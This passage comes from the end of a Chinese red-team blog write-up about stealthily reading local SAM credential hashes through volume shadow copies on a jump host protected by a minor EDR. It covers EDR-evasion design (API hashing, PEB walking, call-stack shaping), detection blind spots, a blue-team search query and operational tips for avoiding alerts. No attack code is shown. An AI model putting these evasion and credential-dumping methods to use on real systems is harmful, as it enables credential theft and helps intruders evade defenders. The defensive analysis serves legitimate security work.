6、对抗静态,PEB 遍历、API 哈希、回调蹦床,导入表、调用栈特征;
7、工程化单文件、静态链接、参数化、落地即用。
所以这个工具本身不是重点,实际实战写工具只要能达到最简化就可以了,这个工具只是作为标准化的载体,不是只要我会用,而是让团队成员也能用。
14 从红队视角看
盲区1:卷影创建被当成噪音无视掉了。因为它在一个有备份系统的环境里天天发生,规则要么因为误报被关掉,要么把备份软件整体白名单化,攻击者只要蹭进那个白名单就一起被放过。
盲区2:不落地加只走 fflush(stdout) ,文件线索没了,没有 SAM 副本没有输出文件,传统监控的手段直接失效,只能从工具行为方面去找。
盲区3:静态特征抹平,基于导入表和调用栈的检测基本能过,得靠内存和 API 的异常调用的动态行为来看。
15 从蓝队视角看
演练结束我换到防守视角把工具过了一遍,不是没被看见是没被处置,筛选内容:
process.name:(probe* or DaclSamHunter.exe) or registry.key:"HKLM\SAM"

价值点在于probe3.exe 建卷影和删卷影挂在同一个 PID 上,隔了五秒;打开卷影里那个 Config\SAM 的 4656 只出现一次,前后没有任何文件创建事件,所以"落盘"这条线是空的;到第三天,HKLM\SAM 上多了一次 WRITE_DAC,而那个键的 SACL 从来没配过,事件就在库里,只是没人搜过这个名字。
我先知道该搜 probe*。真实防守,能搜的只有行为,某个非签名进程在十分钟内建了卷影又删了它这种句式,才是这套遥测真正的用法。
复盘
1、手上有明文口令,为什么不直接 3389 到 N 台?
如果入口是 adminstrator 的口令那确实可以直接 3389,取哈希纯属多余。已有的是服务账号口令,被加进本地管理员组是运维手工做,只覆盖几台服务器,这个做3389最好的情况是过去了发现自己是个普通用户,最差的情况是没有这个用户。
2、真正决定打法的是三个跟手法无关的场景
这台机器不在域里、它是跳板机、它装的是一块杂牌 EDR。大多数复盘只写我用了什么手法,不写环境为什么只允许这个手法。第二个更实际的是本地 SAM 是唯一的凭据库。
3、不要把全静默读过头
一线产品和杂牌的区别不在"有没有告警",在告警背后挂了几层:一线通常是内核回调 + ETW + 用户层 hook + 内存扫描 + 云端沙箱,杂牌往往只有其中一两层。真正的注册表/进程回调在用户态是看不见的,只能靠行为去试,只能猜出对手的规则没细到要去看调用栈。
4、没看见和看见了没报在主机侧分不开。RegOpenKeyEx 打开 SAM 键,没被拦截,我多走一步枚举可能就是另一条记录。推测的是架构,依据的是它连这么明显的意图都没反应,我打开就失败、什么都没接着干,恰好落在不少规则的边界之外。
5、成本计算。
对检测产品做侦察,比只对目标做侦察更划算,产品决定了手法的上限,成本也只要一条命令。
6、工具的能力边界。
前面都是环境给了我什么条件,如果对手把三件事都做对,一线 EDR、开 LSA Protection、上 Credential Guard,逐条推一遍工具的能力边界也就清楚了。
弱化工具的那三层本质上是对抗的是静态扫描和用户层 hook 的识别,更要说清的是,我那个蹦床并不绕 hook,它拿到的还是 ntdll 里的真实地址,hook 照样触发,它只改了调用栈的形态。
技巧
1、进程如果被杀,你输出的一个字都留不下printf() 在控制台是行缓冲,重定向到文件就变成 4 KB 全缓冲。进程被杀时,缓冲区和进程一起没,表面看到的是什么都没打印,于是判断刚起来就被拦。我第一次就是这么误判的,加 fflush 之后才发现程序其实走到了第六步。
2、同 exe 连跑四次,edr 可能会多条原本不存在的规则
edr 看到的是这个账户在一分钟里反复摆弄卷影服务,他在做探针,这是个特征。纪律是:不做正常运维不会干的事,可以隔段时间再跑,我用的是一天,换exe名称和目录,目标机上只做第一档那种纯查询,外加每档各一次、隔开时间。
3、E_ACCESSDENIED (0x80070005)
这个含义太宽了,COM 初始化没提权、目标文件的 ACL 、被保护进程拒绝、被对方阻断,都会报这个。第四档读卷影里的 SAM 就可能会报这个,多半是文件 ACL 或加固策略,不是 edr。edr 会杀进程或让读到的内容为空,不会礼貌给你个错误码。
此时可以换个文件尝试同样的调用,如果读host和读SAM都失败,说明问题可能在在读的动作或者进程的权限上,跟SAM无关。
4、程序在同版本的克隆机上跑作为对照,没有基线的对照任何的异常都会解释成被拦截了,探针本身是有痕迹的,跑得多就失去意义。
5、这篇博客更多的意义是记录我个人在学习过程中的知识。由于笔者水平有限,本文的写作多借鉴于以下 文章,但也不乏创新思路点。对于攻防过程的技巧,勉强达到要求的合格水平,各位若有其他新颖独特的思路,还望不吝赐教,多多交流。
https://learn.microsoft.com/en-us/windows/win32/devnotes/oropenhive
https://learn.microsoft.com/en-us/windows/desktop/devnotes/offline-registry-library-functions
https://devblogs.microsoft.com/oldnewthing?p=99975
https://learn.microsoft.com/en-us/windows/desktop/VSS/shadow-copy-creation-for-providers
https://learn.microsoft.com/en-us/windows/win32/api/vss/ne-vss-vss_snapshot_context
https://www.passcape.com/text/articles/win10au_hashes.pdf
https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
https://attack.mitre.org/techniques/T1003/002/
https://github.com/fortra/impacket
https://github.com/gentilkiwi/mimikatz
https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals
https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/
https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
https://learn.microsoft.com/en-us/powershell/module/exchange/search-mailboxauditlog